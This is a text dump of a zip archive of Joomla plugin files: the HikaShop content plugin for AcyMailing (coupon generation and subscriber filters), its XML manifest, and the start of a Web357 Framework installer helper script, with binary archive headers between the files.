		$key = JUserHelper::genrandompassword(5);

		if(!hikashop_level(1)){
			$minimum_order = 0;
			$quota = '';
			$product_id = '';
		}

		if($percent_amount > 0){
			$value = $percent_amount;
		}else{
			$value = $flat_amount;
		}
		$value = str_replace(',', '.', $value);
		if($start){
			$start = hikashop_getTime($start);
		}
		if($end){
			$end = hikashop_getTime($end);
		}
		if((int)$validity_period > 0) {
			$end_period = time() + (int)$validity_period * 86400;
			if($end_period > $end)
				$end = $end_period;
		}

		$clean_name = strtoupper($user->name);
		$space = strpos($clean_name, ' ');
		if(!empty($space)){
			$clean_name = substr($clean_name, 0, $space);
		}

		$code = str_replace(array('[name]', '[clean_name]',
'[subid]', '[email]', '[key]',
'[flat]', '[percent]', '[value]',
'[prodid]'), array($user->name, $clean_name, $user->subid,
$user->email, $key, $flat_amount, $percent_amount, $value, $product_id),
$code);
		$this->db->setQuery('INSERT IGNORE INTO
'.acymailing_table('hikashop_discount', false).'(
		`discount_code`,
		`discount_percent_amount`,
		`discount_flat_amount`,
		`discount_type`,
		`discount_start`,
		`discount_end`,
		`discount_minimum_order`,
		`discount_quota`,
		`discount_currency_id`,
		`discount_product_id`,
		`discount_tax_id`,
		`discount_published`
		) VALUES
('.$this->db->Quote($code).','.$this->db->Quote($percent_amount).','.$this->db->Quote($flat_amount).',\'coupon\','.$this->db->Quote($start).','.$this->db->Quote($end).','.$this->db->Quote($minimum_order).','.$this->db->Quote($quota).','.$this->db->Quote(hikashop_getCurrency()).','.$this->db->Quote($product_id).','.$this->db->Quote($tax_id).',
		1)');
		$this->db->execute();

		return $code;
	}

	function onAcyDisplayFilters(&$type, $context =
'massactions'){
		if(!$this->loadAcymailing()) return '';
		if($this->params->get('displayfilter_'.$context, true) ==
false) return '';

		$this->db->setQuery("SELECT `product_id` as value,
CONCAT(`product_name`,' ( ',`product_code`,' ) ') as
text FROM ".acymailing_table('hikashop_product',
false)." ORDER BY `product_code` ASC LIMIT 1000");
		$allProducts = $this->db->loadObjectList();
		if(!empty($allProducts)){
			$selectOne = new stdClass;
			$selectOne->value = 0;
			$selectOne->text = JText::_('ACY_ONE_PRODUCT');
			array_unshift($allProducts, $selectOne);
		}
		$hikaBuy = array();
		$hikaBuy[] = JHTML::_('select.option', '1',
JText::_('ACY_BOUGHT'));
		$hikaBuy[] = JHTML::_('select.option', '0',
JText::_('ACY_DIDNOTBOUGHT'));

		$hikaGroupsParams = acymailing_get('type.operatorsin');
		$hikaGroupsParams->js =
'onchange="countresults(__num__)"';
		$operators = acymailing_get('type.operators');
		$operators->extra =
'onchange="countresults(__num__)"';

		$fields = acymailing_getColumns('#__hikashop_user');

		$hikaFields = array();
		if(!empty($fields)){
			foreach($fields as $oneField => $fieldType){
				$hikaFields[] = JHTML::_('select.option', $oneField,
$oneField);
			}
		}

		$return = '';
		$return .= '<div
id="filter__num__hikaallorders">';
		$return .=
$hikaGroupsParams->display("filter[__num__][hikaallorders][type]").'
';
		$category = hikashop_get('type.categorysub');
		$category->type = 'status';
		$return .=
$category->display("filter[__num__][hikaallorders][status]",
'', 'size="1"
onchange="countresults(__num__)" ', false);
		$payment = hikashop_get('type.payment');
		$payment->extra =
'onchange="countresults(__num__)"';
		$return .=
$payment->display("filter[__num__][hikaallorders][payment]",
'', false);
		$return .= '<br/> <input
onclick="displayDatePicker(this,event)"
name="filter[__num__][hikaallorders][cdateinf]"
type="text" onchange="countresults(__num__)" /> <
'.JText::_('CREATED_DATE').' < <input
onclick="displayDatePicker(this,event)" type="text"
name="filter[__num__][hikaallorders][cdatesup]"
onchange="countresults(__num__)"  />';
		$return .= '<br/> <input
onclick="displayDatePicker(this,event)"
name="filter[__num__][hikaallorders][mdateinf]"
type="text" onchange="countresults(__num__)" /> <
'.JText::_('MODIFIED_DATE').' < <input
onclick="displayDatePicker(this,event)" type="text"
name="filter[__num__][hikaallorders][mdatesup]"
onchange="countresults(__num__)" />';
		$return .= '<br/> <input
onclick="displayDatePicker(this,event)"
name="filter[__num__][hikaallorders][idateinf]"
type="text" onchange="countresults(__num__)" /> <
'.JText::_('INVOICE_DATE').' < <input
onclick="displayDatePicker(this,event)" type="text"
name="filter[__num__][hikaallorders][idatesup]"
onchange="countresults(__num__)" />';
		$return .= '</div>';
		$type['hikaallorders'] = 'HikaShop
'.JText::_('ORDERS');

		if(!empty($allProducts)){

			$dateFilters = array();
			$dateFilters[] = JHTML::_('select.option',
'order_created', JText::_('CREATED_DATE'));
			$dateFilters[] = JHTML::_('select.option',
'order_modified', JText::_('MODIFIED_DATE'));
			$dateFilters[] = JHTML::_('select.option',
'order_invoice_created', JText::_('INVOICE_DATE'));


			$return .= '<div
id="filter__num__hikaorder">'.JHTML::_('select.genericlist',
$hikaBuy, "filter[__num__][hikaorder][type]",
'class="custom-select" size="1"
onchange="countresults(__num__)" ', 'value',
'text').' ';
			$return .= JHTML::_('select.genericlist', $allProducts,
"filter[__num__][hikaorder][product]",
'class="custom-select" style="max-width:200px"
size="1" onchange="countresults(__num__)" ',
'value', 'text');

			$this->db->setQuery('SELECT `category_id` AS value,
`category_name` AS text FROM
'.acymailing_table('hikashop_category', false).' WHERE
`category_type` = "product" ORDER BY `category_name` ASC LIMIT
1000');
			$allCats = $this->db->loadObjectList();
			if(!empty($allCats)){
				$selectOne = new stdClass;
				$selectOne->value = 0;
				$selectOne->text = JText::_('ACY_ANY_CATEGORY');
				array_unshift($allCats, $selectOne);
			}

			$return .= ' '.JHTML::_('select.genericlist',
$allCats, "filter[__num__][hikaorder][cat]",
'class="custom-select" style="max-width:200px"
size="1" onchange="countresults(__num__)" ',
'value', 'text');
			$return .= '<br/> <input
onclick="displayDatePicker(this,event)" type="text"
name="filter[__num__][hikaorder][creationdateinf]"
onchange="countresults(__num__)" /> <
'.JHTML::_('select.genericlist', $dateFilters,
"filter[__num__][hikaorder][datefield]",
'class="custom-select" size="1"
onchange="countresults(__num__)" ', 'value',
'text').' < <input
onclick="displayDatePicker(this,event)" type="text"
name="filter[__num__][hikaorder][creationdatesup]"
onchange="countresults(__num__)" />';
			$return .= '</div>';
			$type['hikaorder'] = 'HikaShop
'.JText::_('CUSTOMERS');
		}

		if(!empty($hikaFields)){
			$return .= '<div
id="filter__num__hikafield">'.JHTML::_('select.genericlist',
$hikaFields, "filter[__num__][hikafield][map]",
'class="custom-select"
onchange="countresults(__num__)" size="1"',
'value', 'text');
			$return .= '
'.$operators->display("filter[__num__][hikafield][operator]").'
<input class="inputbox" type="text"
name="filter[__num__][hikafield][value]" size="50"
value="" onchange="countresults(__num__)" />';
			$return .= '</div>';
			$type['hikafield'] = 'HikaShop
'.JText::_('FIELD');
		}

		$this->db->setQuery("SELECT `zone_namekey` AS value,
CONCAT(`zone_name`,' ( ',`zone_name_english`,' )') AS
text FROM ".acymailing_table('hikashop_zone', false)."
WHERE `zone_type` = 'country' ORDER BY `zone_name_english` ASC
LIMIT 1000");
		$allCountries = $this->db->loadObjectList();

		$selectOne = new stdClass;
		$selectOne->value = 0;
		$selectOne->text = JText::_('COUNTRYCAPTION');
		array_unshift($allCountries, $selectOne);

		$jsOnChange = "displayCondFilter('displayStates',
'toChange__num__',__num__,'country='+this.value);
";

		$return .= '<div
id="filter__num__hikaaddress">';
		$return .=
$hikaGroupsParams->display("filter[__num__][hikaaddress][type]").'
';
		$return .= JHTML::_('select.genericlist', $allCountries,
"filter[__num__][hikaaddress][country]",
'class="custom-select"
onchange="'.$jsOnChange.'countresults(__num__)"
size="1"', 'value', 'text');
		$return .= ' <span
id="toChange__num__"></span>';
		$return .= '</div>';
		$type['hikaaddress'] = 'HikaShop
'.JText::_('ADDRESSCAPTION');

		$return .= '<div
id="filter__num__hikareminder">';
		$val = '<input class="inputbox" type="text"
name="filter[__num__][hikareminder][nbdays]"
style="width:50px" value="1"
onchange="countresults(__num__)" />';
		$return .= JText::sprintf('DAYS_AFTER_ORDERING',
$val).'<br/>';
		$payment = hikashop_get('type.payment');
		$payment->extra =
'onchange="countresults(__num__)"';
		$return .=
$payment->display("filter[__num__][hikareminder][payment]",
'', false);
		$return .= '</div>';
		$type['hikareminder'] = 'HikaShop Reminder';
		$acyconfig = acymailing_config();
		if(version_compare($acyconfig->get('version'),
'4.9.4', '<')){
			echo 'Please update AcyMailing, the HikaShop plugin may not work
properly with this version';
		}
		return $return;
	}

	function onAcyTriggerFct_displayStates(){
		$num = hikaInput::get()->getInt('num');
		$country = hikaInput::get()->getString('country');

		if(empty($country)) return '';

		$this->db->setQuery("SELECT z.`zone_namekey` AS value,
CONCAT(z.`zone_name`,' ( ',z.`zone_name_english`,' )')
AS text
						FROM ".acymailing_table('hikashop_zone', false)."
AS z
						JOIN ".acymailing_table('hikashop_zone_link',
false)." AS l ON z.zone_namekey = l.zone_child_namekey
						WHERE z.`zone_type` = 'state' AND l.zone_parent_namekey =
".$this->db->Quote($country)."
						ORDER BY z.`zone_name_english` ASC LIMIT 1000");
		$states = $this->db->loadObjectList();

		$selectOne = new stdClass;
		$selectOne->value = 0;
		$selectOne->text = JText::_(' - - - ');
		array_unshift($states, $selectOne);

		return JHTML::_('select.genericlist', $states,
"filter[".$num."][hikaaddress][state]",
'onchange="countresults('.$num.')"
class="inputbox" size="1"', 'value',
'text', 0,
'filter'.$num.'hikaaddressstate');
	}

	function onAcyProcessFilterCount_hikaaddress(&$query, $filter, $num){
		$this->onAcyProcessFilter_hikaaddress($query, $filter, $num);
		return JText::sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessFilter_hikaaddress(&$query, $filter, $num){
		if(!$this->loadAcymailing() || empty($filter['country']))
return;

		$join = '#__hikashop_user AS '.$num.'hikauser ON sub.email
= '.$num.'hikauser.user_email';
		$join2 = '#__hikashop_address AS '.$num.'hikaaddress ON
'.$num.'hikauser.user_id =
'.$num.'hikaaddress.address_user_id ';
		if(!empty($filter['state'])){
			$join2 .= 'AND address_state =
'.$query->db->Quote($filter['state']);
		}else $join2 .= 'AND address_country =
'.$query->db->Quote($filter['country']);


		if($filter['type'] == 'IN'){
			$query->join[$num.'hikashopaddressuser'] = $join;
			$query->join[$num.'hikashopaddress'] = $join2;
		}else{
			$query->leftjoin[$num.'hikashopaddressuser'] = $join;
			$query->leftjoin[$num.'hikashopaddress'] = $join2;
			$query->where[$num.'hikashopaddress'] =
$num.'hikaaddress.address_user_id IS NULL';
		}
	}

	function onAcyProcessFilterCount_hikaallorders(&$query, $filter,
$num){
		$this->onAcyProcessFilter_hikaallorders($query, $filter, $num);
		return JText::sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessFilterCount_hikafield(&$query, $filter, $num){
		$this->onAcyProcessFilter_hikafield($query, $filter, $num);
		return JText::sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessFilterCount_hikaorder(&$query, $filter, $num){
		$this->onAcyProcessFilter_hikaorder($query, $filter, $num);
		return JText::sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessFilterCount_hikareminder(&$query, $filter,
$num){
		$this->onAcyProcessFilter_hikareminder($query, $filter, $num);
		return JText::sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessFilter_hikaallorders(&$query, $filter, $num){
		if(!$this->loadAcymailing()) return;

		$lj = "`#__hikashop_user` as hikaallordersUser$num on
hikaallordersUser$num.user_email = sub.`email` LEFT JOIN
`#__hikashop_order` as hikaallorders$num ON
hikaallorders$num.`order_user_id` = hikaallordersUser$num.user_id";
		if(!empty($filter['status'])) $lj .= " AND
hikaallorders$num.`order_status` =
".$this->db->Quote($filter['status']);
		if(!empty($filter['cdateinf'])){
			$filter['cdateinf'] =
acymailing_replaceDate($filter['cdateinf']);
			if(!is_numeric($filter['cdateinf']))
$filter['cdateinf'] = strtotime($filter['cdateinf']);
			$lj .= " AND hikaallorders$num.`order_created` >
".$this->db->Quote($filter['cdateinf']);
		}
		if(!empty($filter['cdatesup'])){
			$filter['cdatesup'] =
acymailing_replaceDate($filter['cdatesup']);
			if(!is_numeric($filter['cdatesup']))
$filter['cdatesup'] = strtotime($filter['cdatesup']);
			$lj .= " AND hikaallorders$num.`order_created` <
".$this->db->Quote($filter['cdatesup']);
		}
		if(!empty($filter['mdateinf'])){
			$filter['mdateinf'] =
acymailing_replaceDate($filter['mdateinf']);
			if(!is_numeric($filter['mdateinf']))
$filter['mdateinf'] = strtotime($filter['mdateinf']);
			$lj .= " AND hikaallorders$num.`order_modified` >
".$this->db->Quote($filter['mdateinf']);
		}
		if(!empty($filter['mdatesup'])){
			$filter['mdatesup'] =
acymailing_replaceDate($filter['mdatesup']);
			if(!is_numeric($filter['mdatesup']))
$filter['mdatesup'] = strtotime($filter['mdatesup']);
			$lj .= " AND hikaallorders$num.`order_modified` <
".$this->db->Quote($filter['mdatesup']);
		}
		if(!empty($filter['idateinf'])){
			$filter['idateinf'] =
acymailing_replaceDate($filter['idateinf']);
			if(!is_numeric($filter['idateinf']))
$filter['idateinf'] = strtotime($filter['idateinf']);
			$lj .= " AND hikaallorders$num.`order_invoice_created` >
".$this->db->Quote($filter['idateinf']);
		}
		if(!empty($filter['idatesup'])){
			$filter['idatesup'] =
acymailing_replaceDate($filter['idatesup']);
			if(!is_numeric($filter['idatesup']))
$filter['idatesup'] = strtotime($filter['idatesup']);
			$lj .= " AND hikaallorders$num.`order_invoice_created` <
".$this->db->Quote($filter['idatesup']);
		}
		if(!empty($filter['payment'])){
			$column = 'order_payment_method';
			if(is_numeric($filter['payment'])){
				$column = 'order_payment_id';
			}
			$lj .= " AND hikaallorders$num.`".$column."` =
".$this->db->Quote($filter['payment']);
		}
		$query->leftjoin['hikaallorders_'.$num] = $lj;

		$operator = ($filter['type'] == 'IN') ? 'IS NOT
NULL' : 'IS NULL';
		$query->where[] = "hikaallorders$num.order_id ".$operator;
	}

	function onAcyProcessFilter_hikafield(&$query, $filter, $num){
		if(!$this->loadAcymailing()) return;
		if($filter['map'] == 'user_created')
$filter['value'] =
acymailing_replaceDate($filter['value']);

		$query->join[$num.'hikashopfield'] = '#__hikashop_user
AS '.$num.'hikafield ON sub.email =
'.$num.'hikafield.user_email';
		$query->where[$num.'hikashopfield'] =
$query->convertQuery($num.'hikafield',
$filter['map'], $filter['operator'],
$filter['value']);
	}

	function onAcyProcessFilter_hikareminder(&$query, $filter, $num){
		if(!$this->loadAcymailing()) return;


		$delay = 0;
		$comparisionFormat = '%Y %d %m';
		if(!empty($filter['nbtype'])){
			$delay = ($filter['nbdays'] *
(int)$filter['nbtype']);
			switch((int)$filter['nbtype']){
				case 60:
					$comparisionFormat = '%Y %d %m %h %i';
					break;
				case 3600:
					$comparisionFormat = '%Y %d %m %h';
					break;
				case 604800:
					$comparisionFormat = '%Y %d %u';
					break;
				case 2635200:
					$comparisionFormat = '%Y %d';
					break;
				case 31622400:
					$comparisionFormat = '%Y';
					break;
				case 86400:
				default:
					break;
			}
		}elseif(!empty($filter['nbdays'])){
			$delay = ($filter['nbdays'] * 86400);
		}elseif(!empty($filter['senddate'])) $delay =
($filter['senddate'] * 3600);

		$senddate = (time() - $delay);

		$config =& hikashop_config();
		$createdstatus = $config->get('order_created_status',
'created');

		$myquery = 'SELECT hikauser.user_email
					FROM #__hikashop_order AS a
					LEFT JOIN #__hikashop_order AS b
						ON a.order_user_id = b.order_user_id
						AND b.order_id > a.order_id
					JOIN #__hikashop_user AS hikauser
						ON a.order_user_id = hikauser.user_id ';

		if(!empty($filter['payment'])) $myquery .= 'JOIN
#__hikashop_payment AS payment ON payment.payment_type =
a.order_payment_method AND payment.payment_id =
'.intval($filter['payment']);

		$myquery .= ' WHERE a.order_status =
'.$this->db->Quote($createdstatus).' AND b.order_id IS NULL
';
		if(!empty($senddate)) $myquery .= 'AND
FROM_UNIXTIME(a.order_created,"%Y %d %m") =
FROM_UNIXTIME('.$senddate.',"%Y %d %m")';
		$this->db->setQuery($myquery);

		$allOrders = acymailing_loadResultArray($this->db);

		if(empty($allOrders)) $allOrders[] = '-1';
		$query->where[] = "sub.email IN
('".implode("','",
$allOrders)."')";
	}

	function onAcyProcessFilter_hikaorder(&$query, $filter, $num){
		if(!$this->loadAcymailing()) return;

		$config =& hikashop_config();
		$statuses = $config->get('invoice_order_statuses',
'confirmed,shipped');
		if(empty($statuses)) $statuses = 'confirmed,shipped';
		$statuses = explode(',', $statuses);
		$condition = array();
		foreach($statuses as $status){
			if(!empty($status)) $condition[] = $query->db->Quote($status);
		}
		$myquery = "SELECT DISTINCT b.user_email
					FROM #__hikashop_order_product AS a
					LEFT JOIN #__hikashop_order AS c ON a.order_id = c.order_id
					LEFT JOIN #__hikashop_user AS b on c.order_user_id = b.user_id";
		$filters = array();
		if(count($condition))
			$filters[] = "c.order_status IN
(".implode(',',$condition).")";

		if(!empty($filter['product']) &&
is_numeric($filter['product'])) {
			$filters[] = "a.product_id = ".(int)
$filter['product'];
		} elseif(!empty($filter['cat']) &&
is_numeric($filter['cat'])) {
			$myquery .= ' LEFT JOIN #__hikashop_product as hkp ON a.product_id
= hkp.product_id LEFT JOIN #__hikashop_product_category AS hkpc ON
(a.product_id = hkpc.product_id) OR (hkp.product_parent_id > 0 AND
hkp.product_parent_id = hkpc.product_id) ';
			$filters[] = 'hkpc.category_id =
'.(int)$filter['cat'];
		}

		$datesVar = array('creationdatesup',
'creationdateinf');
		foreach($datesVar as $oneDate){
			if(empty($filter[$oneDate])) continue;
			$filter[$oneDate] = acymailing_replaceDate($filter[$oneDate]);
			if(!is_numeric($filter[$oneDate])) $filter[$oneDate] =
strtotime($filter[$oneDate]);
		}

		if(empty($filter['datefield'])) $filter['datefield']
= 'order_created';

		if(!empty($filter['creationdateinf'])) $filters[] =
'c.`'.$filter['datefield'].'` >
'.$filter['creationdateinf'];
		if(!empty($filter['creationdatesup'])) $filters[] =
'c.`'.$filter['datefield'].'` <
'.$filter['creationdatesup'];

		if(count($filters)){
			$myquery .= ' WHERE '.implode(' AND ', $filters);
		}

		$query->db->setQuery($myquery);
		$allEmails = acymailing_loadResultArray($query->db);
		if(empty($allEmails)) $allEmails[] = 'none';
		if(empty($filter['type'])){
			$query->where[] = "sub.email NOT IN
('".implode("','",
$allEmails)."')";
		}else{
			$query->where[] = "sub.email IN
('".implode("','",
$allEmails)."')";
		}
	}

	function onAcyDisplayTriggers(&$triggers){
		if(!$this->loadAcymailing()) return;

		$statusClass = hikashop_get('type.categorysub');
		$statusClass->type = 'status';
		$statusClass->load();

		if(empty($statusClass->categories)) return;

		$triggers['hikaorder'] = new stdClass();
		$triggers['hikaorder']->name =
JText::_('HIKASHOP_ORDER_STATUS_CHANGED_TO');
		$plugin = JPluginHelper::getPlugin('hikashop',
'acymailing');
		if(empty($plugin)){
			$triggers['hikaorder']->name .= ' (If you want to use
this feature you need to publish the plugin AcyMailing for HikaShop in the
hikashop configuration page under the plugins tab)';
		}

		foreach($statusClass->categories as $category){
			if(empty($category->value)){
				$val = str_replace(' ', '_',
strtoupper($category->category_name));
				$category->value = JText::_($val);
				if($val == $category->value){
					$category->value = $category->category_name;
				}
			}
			$triggers['hikaorder']->triggers['hikaorder_'.$category->category_name]
= $category->value;
		}
	}
}//endclass
PK	�[	ū�
acymailing/hikashop/hikashop.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5"
method="upgrade" group="acymailing">
	<name>AcyMailing Tag : HikaShop content</name>
	<creationDate>12 février 2021</creationDate>
	<version>4.4.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2021 HIKARI SOFTWARE. All rights
reserved.</copyright>
	<license>http://www.hikashop.com/commercial_license.php</license>
	<description>This plugin enables you to insert HikaShop products,
coupons inside any e-mail sent by AcyMailing</description>
	<files>
		<filename
plugin="hikashop">hikashop.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
        <param name="help" type="help"
label="HIKA_HELP" description="HIKA_ACY_HELP"
default="plugin-hikashop"/>
        <param name="customtemplate"
type="customtemplate" label="HIKA_CUSTOM_TEMPLATE"
description="CUSTOM_TEMPLATE" help="hikashop"
default="hikashop_product"/>
        <param name="vat" type="list"
default="1" label="HIKA_ADD_VAT_TO_PRICE"
description="ADD_VAT_TO_PRICE">
			<option value="0">NO_VAT</option>
			<option value="1">YES_VAT</option>
		</param>
		<param name="stock" type="list"
default="0" label="HIKA_ONLY_PRODUCT_IN_STOCK"
description="ONLY_PRODUCT_IN_STOCK">
			<option
value="0">ONLY_PRODUCT_IN_STOCK_NO</option>
			<option
value="1">ONLY_PRODUCT_IN_STOCK_YES</option>
		</param>
		<param name="itemid" size="10"
type="text" default=""
label="HIKA_DEFAULT_ITEMID"
description="DEFAULT_ITEMID" />
		<param name="displayfilter_massactions"
type="list" default="1"
label="HIKA_DISPLAY_HIKASHOP_FILTERS_ON_MASSACTIONS"
description="DISPLAY_HIKASHOP_FILTERS_ON_MASSACTIONS">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
		<param name="displayfilter_mail" type="list"
default="1"
label="HIKA_DISPLAY_HIKASHOP_FILTERS_ON_NEWSLETTERS_EDITION"
description="DISPLAY_HIKASHOP_FILTERS_ON_NEWSLETTERS_EDITION">
			<option value="0">HIKASHOP_NO</option>
			<option value="1">HIKASHOP_YES</option>
		</param>
	</params>
	<config>
		<fields name="params"
addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
                <field name="help" type="help"
label="HIKA_HELP" description="HIKA_HELP"
default="plugin-hikashop"/>
                <field name="customtemplate"
type="customtemplate" label="HIKA_CUSTOM_TEMPLATE"
description="CUSTOM_TEMPLATE" help="hikashop"
default="hikashop_product"/>
                <field
					name="vat"
					type="list"
					label="HIKA_ADD_VAT_TO_PRICE"
					default="1"
					description="ADD_VAT_TO_PRICE" >
					<option value="0">NO_VAT</option>
					<option value="1">YES_VAT</option>
				</field>
				<field
					name="stock"
					type="list"
					label="HIKA_ONLY_PRODUCT_IN_STOCK"
					default="0"
					description="ONLY_PRODUCT_IN_STOCK" >
					<option
value="0">ONLY_PRODUCT_IN_STOCK_NO</option>
					<option
value="1">ONLY_PRODUCT_IN_STOCK_YES</option>
				</field>
				<field name="itemid" size="10"
type="text" default=""
label="HIKA_DEFAULT_ITEMID"
description="DEFAULT_ITEMID" />
				<field name="displayfilter_massactions"
type="list" default="1"
label="HIKA_DISPLAY_HIKASHOP_FILTERS_ON_MASSACTIONS"
description="DISPLAY_HIKASHOP_FILTERS_ON_MASSACTIONS">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
				<field name="displayfilter_mail" type="list"
default="0"
label="HIKA_DISPLAY_HIKASHOP_FILTERS_ON_NEWSLETTERS_EDITION"
description="DISPLAY_HIKASHOP_FILTERS_ON_NEWSLETTERS_EDITION">
					<option value="0">HIKASHOP_NO</option>
					<option value="1">HIKASHOP_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK	�[�#o,,acymailing/hikashop/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[�#o,,acymailing/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK	�[]��##ajax/web357framework/index.htmlnu�[���<!DOCTYPE
html><title></title>



PK	�[5@��Fajax/web357framework/language/en-GB/en-GB.plg_ajax_web357framework.ininu�[���;
Defaults
PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework"
PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla!
plugin is a required helper tool that is used by all the Web357 extensions.
Within the plugin files, we have included code and PHP functions that allow
the plugin updates to be applied only in one place, i.e. the plugin itself,
and ensure that they are rolled out automatically to any external site that
is using the Web357 applications and
plugins."PK	�[5@��Jajax/web357framework/language/en-GB/en-GB.plg_ajax_web357framework.sys.ininu�[���;
Defaults
PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework"
PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla!
plugin is a required helper tool that is used by all the Web357 extensions.
Within the plugin files, we have included code and PHP functions that allow
the plugin updates to be applied only in one place, i.e. the plugin itself,
and ensure that they are rolled out automatically to any external site that
is using the Web357 applications and
plugins."PK	�[]��##.ajax/web357framework/language/en-GB/index.htmlnu�[���<!DOCTYPE
html><title></title>



PK	�[߄�B 
(ajax/web357framework/language/index.htmlnu�[���<!DOCTYPE
html><title></title>
PK	�[4+=+=.ajax/web357framework/script.install.helper.phpnu�[���<?php
/* ======================================================
 # Web357 Framework for Joomla! - v1.9.1 (free version)
 # -------------------------------------------------------
 # For Joomla! CMS (v3.x)
 # Author: Web357 (Yiannis Christodoulou)
 # Copyright (©) 2014-2022 Web357. All rights reserved.
 # License: GNU/GPLv3, http://www.gnu.org/licenses/gpl-3.0.html
 # Website: https:/www.web357.com
 # Demo: https://demo.web357.com/joomla/
 # Support: support@web357.com
 # Last modified: Wednesday 07 December 2022, 11:05:26 AM
 ========================================================= */

 
defined('_JEXEC') or die;

jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');

class PlgAjaxWeb357frameworkInstallerScriptHelper
{
	public $name            = '';
	public $alias           = '';
	public $extname         = '';
	public $extension_type  = '';
	public $plugin_folder   = 'system';
	public $module_position = 'web357';
	public $client_id       = 0;
	public $install_type    = 'install';
	public $show_message    = true;
	public $db              = null;
	public $softbreak       = null;
	public $mini_version 	= null;

	public function __construct(&$params)
	{
		$this->extname = $this->extname ?: $this->alias;
		$this->db      = JFactory::getDbo();

		// Get Joomla's version
		$jversion = new JVersion;
		$short_version = explode('.', $jversion->getShortVersion());
// 3.8.10
		$this->mini_version =
$short_version[0].'.'.$short_version[1]; // 3.8
	}

	public function preflight($route, $adapter)
	{
		if (!in_array($route, array('install', 'update')))
		{
			return true;
		}

		JFactory::getLanguage()->load('plg_system_web357installer',
JPATH_PLUGINS . '/system/web357installer');

		if ($this->show_message && $this->isInstalled())
		{
			$this->install_type = 'update';
		}

		if ($this->onBeforeInstall($route) === false)
		{
			return false;
		}

		return true;
	}

	public function postflight($route, $adapter)
	{
		$this->removeGlobalLanguageFiles();

		if (version_compare($this->mini_version, "4.0",
"<"))
		{
			$this->removeUnusedLanguageFiles();
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, $this->getMainFolder());

		if (!in_array($route, array('install', 'update')))
		{
			return true;
		}

		$this->updateHttptoHttpsInUpdateSites();

		if ($this->onAfterInstall($route) === false)
		{
			return false;
		}

		if ($route == 'install')
		{
			$this->publishExtension();
		}

		if ($this->show_message)
		{
			$this->addInstalledMessage();
		}

		JFactory::getCache()->clean('com_plugins');
		JFactory::getCache()->clean('_system');

		return true;
	}

	public function isInstalled()
	{
		if ( ! is_file($this->getInstalledXMLFile()))
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('type') . ' =
' . $this->db->quote($this->extension_type))
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName()));
		$this->db->setQuery($query, 0, 1);
		$result = $this->db->loadResult();

		return empty($result) ? false : true;
	}

	public function getMainFolder()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				return JPATH_PLUGINS . '/' . $this->plugin_folder .
'/' . $this->extname;

			case 'component' :
				return JPATH_ADMINISTRATOR . '/components/com_' .
$this->extname;

			case 'module' :
				return JPATH_SITE . '/modules/mod_' . $this->extname;

			case 'library' :
				return JPATH_SITE . '/libraries/' . $this->extname;
		}
	}

	public function getInstalledXMLFile()
	{
		return $this->getXMLFile($this->getMainFolder());
	}

	public function getCurrentXMLFile()
	{
		return $this->getXMLFile(__DIR__);
	}

	public function getXMLFile($folder)
	{
		switch ($this->extension_type)
		{
			case 'module' :
				return $folder . '/mod_' . $this->extname .
'.xml';

			default :
				return $folder . '/' . $this->extname . '.xml';
		}
	}

	public function uninstallExtension($extname, $type = 'plugin',
$folder = 'system', $show_message = true)
	{
		if (empty($extname))
		{
			return;
		}

		$folders = array();

		switch ($type)
		{
			case 'plugin';
				$folders[] = JPATH_PLUGINS . '/' . $folder . '/' .
$extname;
				break;

			case 'component':
				$folders[] = JPATH_ADMINISTRATOR . '/components/com_' .
$extname;
				$folders[] = JPATH_SITE . '/components/com_' . $extname;
				break;

			case 'module':
				$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' .
$extname;
				$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
				break;
		}

		if ( ! $this->foldersExist($folders))
		{
			return;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName($type,
$extname)))
			->where($this->db->quoteName('type') . ' =
' . $this->db->quote($type));

		if ($type == 'plugin')
		{
			$query->where($this->db->quoteName('folder') . '
= ' . $this->db->quote($folder));
		}

		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			foreach ($folders as $folder)
			{
				JFolder::delete($folder);
			}

			return;
		}

		$ignore_ids =
JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids',
array());

		if (JFactory::getApplication()->input->get('option') ==
'com_installer' &&
JFactory::getApplication()->input->get('task') ==
'remove')
		{
			// Don't attempt to uninstall extensions that are already selected
to get uninstalled by them selves
			$ignore_ids = array_merge($ignore_ids,
JFactory::getApplication()->input->get('cid', array(),
'array'));
			JFactory::getApplication()->input->set('cid',
array_merge($ignore_ids, $ids));
		}

		$ids = array_diff($ids, $ignore_ids);

		if (empty($ids))
		{
			return;
		}

		$ignore_ids = array_merge($ignore_ids, $ids);
